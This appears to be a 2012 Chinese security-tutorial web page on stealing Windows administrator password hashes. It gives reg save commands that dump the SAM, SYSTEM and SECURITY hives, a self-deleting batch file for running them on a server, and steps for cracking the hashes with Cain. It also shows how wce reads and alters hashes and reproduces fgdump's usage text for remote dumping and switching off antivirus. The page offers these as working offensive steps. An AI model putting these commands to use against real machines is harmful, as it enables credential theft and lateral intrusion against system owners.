脚本之家 服务器常用软件
快捷导航
您的位置：主页 > 网络安全 > 安全教程 >

抓取管理员hash值（哈希）的另类方法

  发布时间：2012-05-11 10:44:12   作者：佚名   我要评论
哈希算法将任意长度的二进制值映射为固定长度的较小二进制值，这个小的二进制值称为哈希值。哈希值是一段数据唯一且极其紧凑的数值表示形式。如果散列一段明文而且哪怕只更改该段落的一个字母，随后的哈希都将产生不同的值。要找到散列为同一个值的两个不同的输入，在计
今天抓hash的时候发现GetHashes.exe不好使..另外又测试了几个也都不好用...
不同版本的Windows的hash获取方法不一样.
用到的工具有pwdump7.exe、GetHashes.exe、SAMInside.exe、LC5、Cain、Proactive Password Auditor、Ophcrack.
 于是百度了一些资料穿上来！希望大家能学习一下。
 ====================================第1种===========================================
 使用工具 cain、cmd、wce1.2等
 首先使用通用方法抓取HASH
 使用命令先保存一份需要的信息。
 reg save hklm\sam sam.hive
 reg save hklm\system system.hive
 reg save hklm\security security.hive
 （这三个文件我找了个批处理,这样比较方便）
 ==========================
 @echo off
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
del %0
 ===========================
 保存为批处理文件,直接在服务器上运行。
 就会在批处理所在目录生成这三个文件
 和下面的效果一样，只不过简化了步骤
\
然后我们使用CAIN打开保存到的system.hive 和security.hive两个文件。我是在虚拟机里面操作就直接在虚拟机里面搞了。。大家在服务器上搞可以下载到本地。
 打开CAIN选择LSA Secrets然后打开system.hive 和security.hive两个文件
\
加载后我们可以看到一些信息，这些信息可能会有明文密码，我这里是没有的。
\
如果没有我们就需要抓HASH了。点击CAIN的Cracker选项卡，加载sam.hive文件。
\
\
拿到HASH了，www.jb51.net 下面就是破解，用工具自带的破解试试密码出来了，我设置的123456
\
我们也可以使用彩虹表来破解
下面我们使用wce来搞。。这个工具是渗透利器哈~~具体介绍大家自己百度去。
\
从帮助来看我们可以使用-l参数查看NTML hash
 我们还可以用-s参数来改HASH值如图
\
从图中我们可以看到最后一位的HASH我从4修改到了5
\
====================================第2种===========================================
fgdump 可以远程抓Hash的工具
 作者：TheLostMind
一直都是本地抓，今天上SamInside论坛看到一个开源的工具，fgdump，可以远程抓。
 http://swamp.foofus.net/fizzgig/fgdump/fgdump-usage.htm
 fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright(C) 2008 fizzgig and foofus.net
fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
more information.
Usage:
fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-a][-O 32|64][-l logfile][-T threads] [{{-h Host | -f filename} -u Username -p Password | -H filename}]
where Username and Password have administrator credentials
-? displays help (you're looking at it!)
-t will test for the presence of antivirus without actually running the password dumps
-c skips the cache dump
-w skips the password dump
-s performs the protected storage dump
-r forgets about existing pwdump/cachedump files. The default behavior is to skip a host if these files already exist.
-v makes output more verbose. Use twice for greater effect
-k keeps the pwdump/cachedump going even if antivirus is in an unknown state
-l logs all output to logfile
-T runs fgdump with the specified number of parallel threads
-h is the name of the single host to perform the dumps against
-f reads hosts from a line-separated file
-H reads host:username:password from a line-separated file (per-host credentials)
-o skips pwdump history dumps
-a will not attempt to detect or shut down antivirus, even if it is present
 -O manually sets whether the target is a 32- or 64-bit OS. Note that this applies to all hosts specified.
** As of version 1.4.0, you can run fgdump with no parameters to dump the local box (no impersonation or binding)
测试了一下，很不错，简单翻译了一下帮助。
 用法:
fgdump [-?][-t][-c][-w][-s][-r][-v][-k][-o][-a][-O 32|64][-l logfile][-T threads] [{{-h Host | -f filename} -u
 Username -p Password | -H filename}]
 用户名和密码要求要有管理员资格
 -? 显示帮助
-t 测试当前的杀毒软件，并不是真正的转储密码
-c 跳过缓存转储
-w 跳过密码转储
-s 执行保护存贮转储
-r 忽略现存的pwdump/cachedump文件。默认的行为是跳过存在这些文件的主机。
-v 详细输出. 使用两次能获得更为详细的输出
-k 即使不知道杀毒软件的状态也继续执行pwdump/cachedump（进行密码转储）
-l 记录所有输出到日志文件
-T 使用指定数量的线程执行此程序
-h 需要执行密码转储的单个目标主机
-f 从用行分隔的文件中读取主机列表
-H 从用行分隔的文件中读取 主机名:用户名:密码
-o 跳过转储历史密码
-a 试图检测或关闭杀毒软件，即使杀毒软件正在运行
 -O 手工设置远程主机是32位操作系统还是64位操作系统。 注意：这项操作应用到所有指定的主机。
 ** 使用1.4.0,你可以直接运行此程序，不需要带参数，来转储本机密码

相关文章

  • qq号被盗了怎么办 如何找回被盗的QQ号码

    这篇文章主要为大家分享一下当qq被盗时的找回密码的方法需要的朋友可以参考一下，尽量到官方网站操作
    2015-05-12

  • 网页挂马详细步骤教程

    其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。 下面我介绍5种方
    2009-04-30

  • 黑客域名劫持攻击的基本步骤

    近期发现adobe.com,internet.com,nike.com,等等著名站点都分分遭受到攻击，但攻击者所使用的技术并不是以往所使用的入侵WEB服务器，更改主页的惯用手法，攻击者使用的是一
    2008-10-08

  • 如何判断电脑是否沦为“肉鸡”？

    今天有网友问小编怎样判断电脑是否沦为“肉鸡”，小编就来给大家盘点几条电脑沦为肉鸡的表现
    2014-08-14

  • Google 黑客搜索技巧

    站内搜索地址为： httpwww.google.comcustomdomains=（这里写我们要搜索的站点，比如feelids.com） 进去可以选择www和feelids.com， 当然再选我们要的站内搜索
    2008-10-08

  • 伪黑客的成功的秘密：tomcat入侵和Jboss入侵的方法介绍(图)

    黑客必须要有专业的知识，丰富的经验。而伪黑客不需要，只需要几个工具，扫描默认口令、弱口令、漏洞，就能利用。
    2012-05-18

  • 教你拿站和找关键词思路（图）

    目标这个站 http://www.chinaweibo.cc/upfile_Other.asp 这个漏洞我刚看了看成功率10%左右吧 我觉得这个数字就不低了 毕竟是批量拿webshell~~~ 关于上传漏洞的帖子和
    2008-10-08

  • 黑客攻击数据库的六大手段

    普通的黑客从进入到退出一次数据攻击只需用不到10秒钟时间就可完成，这个时间对于数据库管理员来说即使注意到入侵者都几乎不够。因此，在数据被损害很长时间之前，许多数据
    2008-10-08

  • 蹭网占了点小便宜?黑客能让你亏大发

    现在我们的生活离不开网络，走到哪里都有网络的存在，就算是公共场合，也会有免费的WiFi，那么这些网络是否安全呢？下面下面就为你解答，一起来看看吧
    2016-10-14

最新评论

关注微信公众号

扫一扫